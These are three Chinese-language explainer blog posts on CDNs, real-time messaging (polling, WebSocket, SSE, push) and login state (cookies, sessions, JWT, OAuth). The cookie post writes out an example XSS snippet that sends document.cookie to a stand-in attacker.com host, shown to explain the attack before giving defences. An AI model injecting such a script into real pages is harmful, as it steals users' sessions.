普通视图

发现新文章,点击刷新页面。
昨天 — 2026年3月27日首页

为什么全国人民都能秒开同一个视频?

作者 牛奶
2026年3月27日 15:53

为什么你在北京打开一个视频,加载只要1秒?你的朋友在新疆,打开同一个视频,也是1秒?服务器难道全国各地都放了?

今天,用**"快递"**的故事,来讲讲CDN的原理。


原文地址

墨渊书肆/为什么全国人民都能秒开同一个视频?


没有CDN时,网络请求是怎么跑的?

你在北京,想从上海寄一箱苹果。

没有CDN的情况下:

你(北京)→ 上海工厂 → 快递翻山越岭 → 你收到苹果

耗时:3-5天。

网络请求同理:

你在北京 → 请求到上海服务器 → 上海服务器返回资源 → 你收到响应

耗时:100-300ms(物理距离决定)。

如果服务器在上海,你在新疆,延迟可能高达500ms。

更严重的是——100万人同时看这个视频,上海服务器直接崩溃


CDN是怎么解决这个问题的?

CDN的核心思想:把内容复制到离用户最近的地方

快递公司在全国建了很多仓库:

你在北京 → 北京仓库有货 → 当天到达

网络请求同理:

你在北京 → 北京CDN节点有缓存 → 10ms到达

这就是CDN(Content Delivery Network,内容分发网络)的核心:就近访问


CDN的工作原理

1. DNS智能解析

当你输入网址,DNS会解析到离你最近的CDN节点:

# 传统DNS(固定IP)
你(北京)→ dns.example.com  123.125.115.110(上海源站)

# CDN智能DNS
你(北京)→ dns.example.com  GSLB判断位置  返回1.2.3.4(北京节点)
你(新疆)→ dns.example.com  GSLB判断位置  返回5.6.7.8(新疆节点)

GSLB(Global Server Load Balance,全局负载均衡)根据地理位置返回最近节点IP。

2. 边缘节点就近响应

CDN节点称为PoP(Point of Presence,边缘节点),分布在全国各地:

┌─────────────────────────────────────────────────────────────┐
                      CDN全国节点分布                          
                                                              
   东北区PoP        华北区PoP         华东区PoP              
   (沈阳)           (北京)             (上海)                  
                                                              
   西南区PoP        华中区PoP         华南区PoP              
   (成都)           (武汉)             (广州)                  
                                                              
                    ┌─────────────────┐                       
                        源站服务器                            
                       (上海自建)                          
                    └─────────────────┘                       
└─────────────────────────────────────────────────────────────┘

3. 缓存命中与回源

CDN节点会缓存源站内容:

缓存未命中:
用户  CDN节点  源站服务器  返回内容并缓存

缓存命中:
用户  CDN节点  (直接返回缓存,不回源)

深入了解CDN 🔬

CDN缓存策略

CDN通过HTTP响应头控制缓存行为:

# 缓存有效期(秒)
Cache-Control: public, max-age=86400

# 不缓存(直接回源)
Cache-Control: no-cache, no-store
响应头 作用
Expires 过期时间点(绝对时间)
Cache-Control: max-age 缓存有效期(相对时间)
Cache-Control: private 仅浏览器可缓存,CDN不可缓存
Cache-Control: no-store 禁止缓存

缓存失效机制

源站内容更新后,CDN可能仍返回旧缓存。解决方案:

方案 原理 适用场景
缓存预热 发布前主动推送新内容到CDN节点 大促、热更新
缓存刷新 手动删除指定URL的缓存 紧急更新
版本化URL URL携带hash如app.js?v=2.1.0 静态资源(推荐)
短TTL 牺牲性能换取新鲜度 频繁更新

CDN判断缓存状态

CDN返回时会携带自定义头,标识缓存命中状态:

X-Cache: HIT    # 命中缓存
X-Cache: MISS   # 未命中,回源

X-Cache-Status: HIT
X-Cache-Status: REVALIDATED  # 缓存过期但内容未变,验证通过

Anycast与DNS劫持

大型CDN使用Anycast技术:多个节点共享同一IP,路由器自动把请求路由到最近节点。

# Anycast示意
北京节点、上海节点、广州节点  都使用IP 1.2.3.4
用户请求  路由器自动选择物理距离最近的节点

国内CDN的特殊性

由于国内ICP备案制度,CDN需要域名已备案才能接入。正规CDN服务商会对域名备案状态进行校验。


为什么CDN能"秒开"?

1. 就近访问——物理距离近

访问路径 单程延迟 往返延迟(RTT)
北京 → 上海(无CDN) 100-150ms 200-300ms
北京 → 北京CDN节点 1-5ms 2-10ms

快了20-100倍。

2. 骨干网络直连

CDN服务商自建骨干网络,像高铁专线:

# 公网路由(多跳)
北京  西安中转  成都中转  上海服务器
(每跳增加10-50ms延迟)

# CDN骨干网络
北京PoP ←→ 上海PoP ←→ 源站服务器
(少跳数、低延迟)

3. 边缘计算能力

现代CDN不只是缓存,还能做边缘计算:

CDN边缘节点能力:
├── 静态资源缓存
├── 动态请求加速(路由优化)
├── TLS/SSL终止(加解密在边缘完成)
├── 图片压缩/格式转换(WebP/AVIF)
├── A/B测试分流
├── 防DDoS攻击
└── Edge Functions(边缘函数)

CDN服务架构

┌─────────────────────────────────────────────────────────────┐
                         用户请求                              
└─────────────────────────┬───────────────────────────────────┘
                          
                          
┌─────────────────────────────────────────────────────────────┐
                      DNS智能解析                              
               (GeoDNS:根据地理位置返回节点)                 
└─────────────────────────┬───────────────────────────────────┘
                          
                          
┌─────────────────────────────────────────────────────────────┐
                    GSLB全局负载均衡器                        
                     (健康检查 + 就近调度)                   
└───────┬─────────┬─────────┬─────────┬─────────┬───────────┘
                                            
                                            
   ┌────────┐┌────────┐┌────────┐┌────────┐┌────────┐
   │北京PoP ││上海PoP ││广州PoP ││成都PoP ││新疆PoP 
   └────┬───┘└────┬───┘└────┬───┘└────┬───┘└────┬───┘
                                            
        └─────────┴────┬────┴─────────┴─────────┘
                        缓存未命中时回源
                       
              ┌─────────────────┐
                  源站服务器     
                 (上海自建)   
              └─────────────────┘

CDN服务商选择

服务商 特点 适用场景
Cloudflare 免费额度大,全球Anycast 个人博客、中小型网站
Akamai 全球最大,节点最多 大型企业、国际化
阿里云CDN 国内节点密集 国内业务
腾讯云CDN 与微信生态集成 游戏、直播
AWS CloudFront 与AWS生态深度集成 AWS用户
自建CDN 完全可控 超大型企业

选型考量

因素 说明
节点分布 用户群体地理位置
价格模型 按流量、按带宽、按请求数
缓存命中率 命中率越高,源站压力越小
HTTPS支持 免费证书、自动续期
附加功能 防DDoS、边缘计算、HTTP/3支持

CDN的常见问题

1. 缓存生效延迟

更新网站内容后,CDN仍在返回旧缓存:

你更新了CSS → CDN节点仍有旧版本 → 用户看到错位页面

解决方案:使用版本化URL(style.css?v=2.0.0)、发布后手动刷新缓存。

2. 缓存穿透

恶意请求大量不存在URL,直接打到源站:

攻击者 → 随机URL → CDN无缓存 → 回源 → 源站崩溃

解决方案:CDN安全配置、源站防护、使用BloomFilter判断存在性。

3. HTTPS证书管理

CDN节点需配置SSL证书,更新时需同步到所有节点:

证书过期 → TLS握手失败 → 用户无法访问

解决方案:使用CDN自带免费证书、配置自动续期、监控证书状态。


总结:CDN核心知识点

概念 说明
PoP/边缘节点 离用户最近的CDN服务器
回源 缓存未命中时,向源站请求内容
GSLB 全局负载均衡,根据位置返回最近节点
GeoDNS 根据用户地理位置返回不同解析结果
缓存命中率 缓存命中请求占总请求的比例,越高越好
Anycast 多节点共享IP,路由自动选最近节点

写在最后

现在应该明白了:

  • CDN = 在全国各地建仓库,就近发货
  • PoP/边缘节点 = 离你最近的仓库
  • 回源 = 仓库没货,去工厂拿
  • GSLB = 智能调度,看你在哪就分配哪个仓库
  • 秒开 = 物理距离近 + 骨干网络 + 缓存复用

下次视频加载飞快,记得——背后是数千个CDN节点在为你"跑腿"。

技术不复杂,但让"全国人民秒开同一个视频"成为可能。

昨天以前首页

你发送的消息,微信到底怎么送到的?

作者 牛奶
2026年3月26日 13:22

为什么你发一条消息,对方瞬间就能收到?浏览器网页刷新一下要好几秒,为什么微信能做到"秒回"?

今天,用**"敲门"**的故事,来讲讲消息推送的技术原理。


原文地址

墨渊书肆/你发送的消息,微信到底怎么送到的?


浏览器为什么"落后"于微信?

你给朋友发微信,消息瞬间送达,甚至能看到对方"正在输入"。

但打开网页版邮箱想知道有没有新邮件,只能手动刷新页面。

这个差异源于HTTP协议天生就是"单向"的

回顾一下HTTP的工作方式:

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(一秒钟后)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「没有。」

(又一秒)

浏览器 → 服务器:「有没有新消息?」

服务器 → 浏览器:「有了!你的验证码是123456。」

这就是问题所在:HTTP是"拉取"(Pull)模式,必须由客户端主动发起请求,服务器才能响应。

而微信采用的是 "推送"(Push)模式 ——有新消息时,服务器主动通知客户端。


方案一:短轮询——持续敲门确认对方在不在

最早的解决方案很简单:持续轮询

每秒向服务器发送一次请求:「有没有新消息?」

服务器回复:「没有。」

继续问。

服务器回复:「没有。」

继续问。

服务器回复:「有了!有人给你点赞了!」

这就是短轮询(Short Polling)

实现示例

setInterval(async () => {
  const response = await fetch('/api/check-messages');
  const data = await response.json();
  if (data.hasNew) {
    showNotification(data.message);
  }
}, 1000);

短轮询的问题

问题 说明
资源浪费 无论是否有消息,每秒都在发送HTTP请求
带宽浪费 99%的情况下服务器回复都是{hasNew: false}
延迟高 新消息到达时机恰好在轮询间隔之间时,需等待下一个周期

短轮询如同执着推销员,每隔一分钟就敲一次门问要不要买保险,邻居不堪其扰。


方案二:长轮询——餐厅等位,服务员主动叫号

能否改为"等待"而非"持续询问"?

**长轮询(Long Polling)**正是这个思路的产物。

以餐厅吃饭为例。短轮询如同每隔一分钟就跑到前台问一次"轮到我没有?",服务员每次都说"还没有"。

长轮询则是拿号等待,服务员叫号时主动来找你——"38号客户,请入座"——无需频繁询问。

长轮询的工作流程

1. 客户端  服务器:GET /api/messages(请求挂起)
2. 服务器  客户端:(等待中……有新消息才返回响应)
3. 服务器  客户端:{message: "你的验证码是123456"}
4. 客户端:(收到消息后,立即再次发起长轮询)

实现示例

async function longPoll() {
  while (true) {
    try {
      const response = await fetch('/api/messages', {
        signal: AbortSignal.timeout(30000)  // 30秒超时
      });
      const data = await response.json();
      showNotification(data.message);
    } catch (e) {
      // 超时或出错时,继续发起下一次长轮询
    }
  }
}

长轮询的改进

改进点 说明
减少请求次数 无新消息时服务器保持连接,不立即响应
降低延迟 新消息产生时,服务器立即推送

长轮询的问题

问题 说明
连接频繁建立 每次收到消息后需重新建立HTTP连接
服务器压力大 每个客户端需占用一个服务端连接
高并发场景不适用 10万人同时在线,服务器需维护10万个挂起的请求

长轮询如同餐厅等位——拿号等待,服务员主动叫号。


方案三:WebSocket——建立持久双向通道

真正的"双向通信"解决方案来了。

WebSocket如同在客户端与服务器之间建立了一条专线电话:

  • 一次建立,长期保持
  • 双方可随时发送消息
  • 无需重复"握手确认"

WebSocket的工作原理

WebSocket的建立过程起始于HTTP,随后升级为不同的协议:

1. 客户端  服务器:GET /ws HTTP/1.1
   Host: example.com
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
   Sec-WebSocket-Version: 13

2. 服务器  客户端:HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYG3hQwbA==

3. (握手完成,连接从HTTP升级为WebSocket协议)

4. 客户端  服务器:全双工消息传输,不再需要轮询

这就是著名的协议升级(Upgrade)机制——客户端发送Upgrade请求头,服务器同意后切换到WebSocket模式。

帧结构

WebSocket通信的基本单位是帧(Frame),而不是HTTP的请求/响应:

┌─────────────────────────────────────────────────────────────┐
  0                   1                   2                   3 
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
 +-+---------------+-+---------------+-+---------------+-+-----+
 |F|R|R|R| opcode |M|     mask      |          payload len  |
 |I|S|S|S|        |A|               ||                          |
 |N|V|V|V|        |S|               ||
字段 说明
opcode 帧类型(0x0=continuation, 0x1=text, 0x2=binary, 0x8=close, 0x9=ping, 0xA=pong)
MASK 客户端发送给服务器时必须为1,帧内容使用masking key加密
payload len 数据长度(最多125字节,超过时使用扩展)

消息格式示例

// 客户端发送消息
socket.send(JSON.stringify({
  type: 'message',
  content: '你好,我想问一下订单的事'
}));

// 客户端接收消息
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);
  console.log('收到消息:', data.content);
};

WebSocket事件生命周期

┌─────────────────────────────────────────────────────────┐
                   WebSocket连接                            
                                                          
  onopen          onmessage          onclose           
  (连接建立)        (接收消息)           (连接关闭)         
                                                          
               onerror                                  
               (连接错误)                                 
└─────────────────────────────────────────────────────────┘

WebSocket支持ping/pong帧用于心跳检测,比自定义JSON消息更轻量。

WebSocket与HTTP对比

特性 HTTP WebSocket
方向 单向(客户端发请求,服务器响应) 双向(全双工)
连接 每次请求新建 一次建立,长期保持
实时性 取决于轮询频率 真正的实时(毫秒级)
资源消耗 高(频繁建连断连) 低(单一连接)
使用场景 查询、表单提交 聊天、实时协作、在线游戏

方案四:SSE——服务器单向推送

有时仅需服务器向客户端推送,无需双向通信。

典型场景:

  • 股票行情:服务器持续推送价格变动
  • 新闻推送:服务器通知突发事件
  • 邮件提醒:收到新邮件时通知

**SSE(Server-Sent Events)**专为此类场景设计。

SSE的工作方式

SSE如同接收广播——打开收音机后,电台持续播报,只能听无法回应。

实现示例

// 客户端
const eventSource = new EventSource('/api/notifications');

eventSource.onmessage = (event) => {
  console.log('收到通知:', event.data);
};

eventSource.addEventListener('stock', (event) => {
  const stockData = JSON.parse(event.data);
  updateStockPrice(stockData);
});
// 服务器(Node.js示例)
app.get('/api/notifications', (req, res) => {
  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive'
  });

  const interval = setInterval(() => {
    res.write(`data: ${JSON.stringify({time: Date.now()})}\n\n`);
  }, 1000);

  req.on('close', () => {
    clearInterval(interval);
  });
});

SSE事件格式

data: {"msg": "第一条消息"}

data: {"msg": "第二条消息"}

id: 10
data: {"msg": "带ID的消息"}

event: stock
data: {"price": 123.45}
字段 说明
data: 消息内容,可多行
id: 事件ID,浏览器自动记录,断了可自动续传
event: 自定义事件类型
retry: 断开后重连间隔(毫秒)

SSE的特点

特性 说明
单向 仅服务器可推送,浏览器仅能接收
基于HTTP 无需特殊协议,兼容性好
自动重连 浏览器自动维护,连接断开后自动恢复
EventSource API 原生浏览器支持,实现简单

深入了解实时通信技术 🔬

方案对比总览

技术 双向通信 连接类型 实时性 资源消耗 实现复杂度
短轮询 短连接 差(秒级)
长轮询 长连接 中(亚秒级)
WebSocket 长连接 优(毫秒级)
SSE 长连接 优(毫秒级)

WebSocket心跳机制

TCP 连接长时间无数据传输时,中间设备(如防火墙、负载均衡器)可能主动断开连接。 WebSocket 需定期发送心跳包保持连接活跃:

// 使用ping/pong帧(协议级)
const pingInterval = setInterval(() => {
  if (socket.readyState === WebSocket.OPEN) {
    socket.ping();
  }
}, 30000);

socket.on('pong', () => {
  console.log('收到pong响应,连接正常');
});

断线重连策略

网络波动时连接可能中断,需实现指数退避重连:

function connect() {
  const socket = new WebSocket('wss://example.com/ws');
  let retryDelay = 1000;
  const maxDelay = 30000;

  socket.onclose = () => {
    console.log(`连接断开,${retryDelay}ms后重连...`);
    setTimeout(() => {
      connect();
      retryDelay = Math.min(retryDelay * 2, maxDelay);
    }, retryDelay);
  };

  socket.onerror = (error) => {
    console.error('连接错误:', error);
  };
}

WebSocket协议的握手细节

WebSocket握手基于HTTP,必须遵守同源策略。服务器响应中的Sec-WebSocket-Accept验证方式:

const crypto = require('crypto');
const key = 'dGhlIHNhbXBsZSBub25jZQ==';
const accept = crypto
  .createHash('sha1')
  .update(key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')
  .digest('base64');
// 返回值应为 's3pPLMBiTxaQ9kYG3hQwbA=='

真实的即时通讯系统是怎么实现的?

简化架构

┌─────────────────────────────────────────────────────────────┐
                        IM服务器集群                           
                                                             
  ┌──────────────┐   ┌──────────────┐   ┌──────────────┐    
     消息Router        消息存储           推送服务       
    (一致性哈希)       (历史消息)       (APNs/FCM)      
  └──────┬───────┘   └──────┬───────┘   └──────┬───────┘    
└─────────┼──────────────────┼──────────────────┼─────────────┘
                                              
                                              
┌─────────────────────────────────────────────────────────────┐
                        客户端                                 
                                                              
  WebSocket长连接     本地消息数据库       系统级推送通知         
  (在线时实时通信)     (消息缓存)           (离线时触达)         
└─────────────────────────────────────────────────────────────┘

消息发送完整流程

1. 客户端A  服务器:POST /api/messages
   {to: "用户B", content: "在吗?", clientMsgId: "uuid_xxx"}

2. 服务器  消息存储:写入消息
   INSERT INTO messages (id, from, to, content, status)
   VALUES ("msg_yyy", "A", "B", "在吗?", "pending")

3. 服务器  消息Router:查询用户B的在线状态
   Redis GET user:B:online   "ws_session_123"

4. 用户B在线:
   服务器  用户B:(WebSocket推送) {type: "message", content: "在吗?"}
   服务器  用户A:(HTTP响应) {code: 0, msgId: "msg_yyy"}
   服务器  消息存储:UPDATE messages SET status = "delivered"

5. 用户B离线:
   服务器  推送服务:发送APNs/FCM推送
   服务器  消息存储:UPDATE messages SET status = "pending_push"

消息幂等性

网络异常时客户端可能重复发送消息。服务器通过唯一消息ID实现幂等:

async function handleMessage(msg) {
  // 检查是否已处理过
  const exists = await redis.get(`msg:processed:${msg.clientMsgId}`);
  if (exists) {
    return { code: 0, duplicate: true };
  }

  // 写入数据库
  await db.saveMessage(msg);

  // 标记为已处理,设置过期时间
  await redis.setex(`msg:processed:${msg.clientMsgId}`, 86400, '1');

  // 推送给接收方
  await pushToRecipient(msg);

  return { code: 0, msgId: msg.id };
}

消息确认机制

客户端发送消息后需等待服务器确认(ack),未确认则重试:

发送消息  等待ack(超时3s)→ 未收到  重试(最多3次)→ 仍未确认  显示"发送失败"

WebSocket层的ping/pong与业务层的消息确认是两种独立机制:

// 业务层消息确认
socket.send(JSON.stringify({
  type: 'message',
  id: 'msg_123',
  content: '在吗?',
  requiresAck: true
}));

// 服务端收到后回复
socket.send(JSON.stringify({
  type: 'ack',
  id: 'msg_123',
  timestamp: 1699999999
}));

离线消息与推送

用户离线时,消息暂存服务器,通过系统级推送服务触达:

平台 推送服务
iOS APNs(Apple Push Notification service)
Android FCM(Firebase Cloud Messaging)

推送 payload 示例:

{
  "to": "用户设备Token",
  "notification": {
    "title": "微信消息",
    "body": "张三:在吗?"
  },
  "data": {
    "msgId": "msg_yyy",
    "conversationId": "conv_zzz"
  }
}

总结:技术选型指南

场景 推荐方案 理由
聊天应用、在线游戏 WebSocket 需真正的双向实时通信
股票行情、直播弹幕 WebSocket / SSE 需高速双向/单向推送
新闻推送、系统通知 SSE 仅需服务器单向推送
低频检查类需求 短轮询 / 长轮询 实现简单,无持久连接需求
App离线推送 APNs / FCCM 应用关闭时仍需触达用户

写在最后

现在应该明白了:

  • 短轮询 = 持续敲门确认对方在不在,资源消耗大
  • 长轮询 = 通话等待,占用连接但减少无效请求
  • WebSocket = 专线电话,一次建立永久使用
  • SSE = 听广播,服务器单向推送
  • 微信 = 技术组合:WebSocket实时通信 + 消息持久化 + APNs/FCM离线推送 + 确认重试机制

发一条微信消息,背后可能经历了一次HTTP请求、一次WebSocket推送、一次APNs/FCM离线推送,才能最终呈现在屏幕上。

技术不复杂,但组合起来,创造了"秒回"的用户体验。

为什么关掉浏览器再打开,你还是登录状态?

作者 牛奶
2026年3月26日 13:19

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性 作用 例子
name=value Cookie的名称和值 sessionId=abc123
Expires 过期时间 Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age 多少秒后过期 Max-Age=3600
Path 生效路径 Path=/
Domain 生效域名 Domain=example.com
Secure 仅HTTPS发送 Secure
HttpOnly JS无法读取 HttpOnly
SameSite 跨站策略 SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」

这个后台记录,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
                        服务器                                
  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ 
   Session ID        Session ID        Session ID    
   abc123            def456            ghi789        
   {user:张三}       {user:李四}       {user:王五}   
  └──────────────┘    └──────────────┘    └──────────────┘ 
└─────────────────────────────────────────────────────────────┘
         
          sessionId=abc123 (Cookie)
         
┌─────────────────────────────────────────────────────────────┐
                        浏览器                                
  Cookie: sessionId=abc123                                   
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器  Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器  客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式 优点 缺点
内存 重启丢失、无法分布式
Redis 快、持久、可分布式 需要额外组件
数据库 持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型 有效期 举例
会话Cookie 关掉浏览器就失效 网银登录(安全)
持久Cookie 到指定日期才失效 购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域:baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器  客户端:{token: "eyJhbGci..."}
5. 客户端  服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征 Session Token
存储位置 服务器 客户端
服务器压力 存储所有Session 只验证签名
扩展性 需要Redis等中间件 无状态
跨域 受Cookie限制 任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

┌────────────────────────────────────────────────────────────┐
 Header (头部) - Base64编码                                  
 { "alg": "HS256", "typ": "JWT" }                          
├────────────────────────────────────────────────────────────┤
 Payload (载荷) - Base64编码                                 
 { "sub": "1234567890", "name": "张三", "exp": 1738128000 }
├────────────────────────────────────────────────────────────┤
 Signature (签名) - 密钥加密                                 
 HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

用户  第三方App  授权服务器  资源服务器
                                  
点击登录  跳转页面   返回授权码    返回Token
                            
                    获取用户信息

OAuth的四种授权方式:

方式 适用场景 安全性
授权码 Web App ⭐⭐⭐⭐⭐
简化 纯前端SPA ⭐⭐⭐
密码模式 自己的产品 ⭐⭐
客户端模式 服务器对服务器 ⭐⭐⭐⭐

总结

类别 是什么 存哪 像什么
Cookie 浏览器存的小数据 浏览器 会员卡
Session 服务器存的用户档案 服务器 健身房后台档案
Token 验证身份的令牌 客户端 临时通行证
OAuth 第三方授权 - 让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。

❌
❌